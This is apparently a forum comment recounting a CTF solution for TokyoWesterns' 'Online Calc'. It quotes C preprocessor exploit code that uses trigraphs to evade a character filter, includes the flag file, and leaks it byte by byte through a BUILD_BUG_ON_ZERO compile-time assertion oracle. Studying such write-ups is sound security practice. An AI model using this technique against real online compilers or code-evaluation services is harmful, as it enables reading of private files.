3 ms·
We didn't actually use .incbin on that challenge, interestingly; however, we did use it (along with some nested static constructor function trickery) for Online
by saagarjha 7y ago
We didn't actually use .incbin on that challenge, interestingly; however, we did use it (along with some nested static constructor function trickery) for Online Calc from TokyoWesterns CTF. For that we had some straightforward tricks to get around the forbidden characters, then we abused the flag format to get the #include to work. After that we could leak the flag byte-by-byte using Linux's BUILD_BUG_ON_ZERO, which is basically an upgraded static_assert. I think this is the code we ran:
"""
_Pragma("clang diagnostic push")
_Pragma("clang diagnostic ignored \\"-Wtrigraphs\\"")
??= define STRINGIZE(...) ??=__VA_ARGS__
??= define EXPAND_AND_STRINGIZE(...) STRINGIZE(__VA_ARGS__)
??= define hxp EXPAND_AND_STRINGIZE(
??= define BUILD_BUG_ON_ZERO(e) (sizeof(struct <% int:-!!(e); %>))
??= define BUILD_BUG_ON(condition) ((void)BUILD_BUG_ON_ZERO(condition))
const char flag =
??= include "flag"
)[{}];
BUILD_BUG_ON(flag == {});
_Pragma("clang diagnostic pop")
"""
(The {}, of course, being Python format parameters from our script.)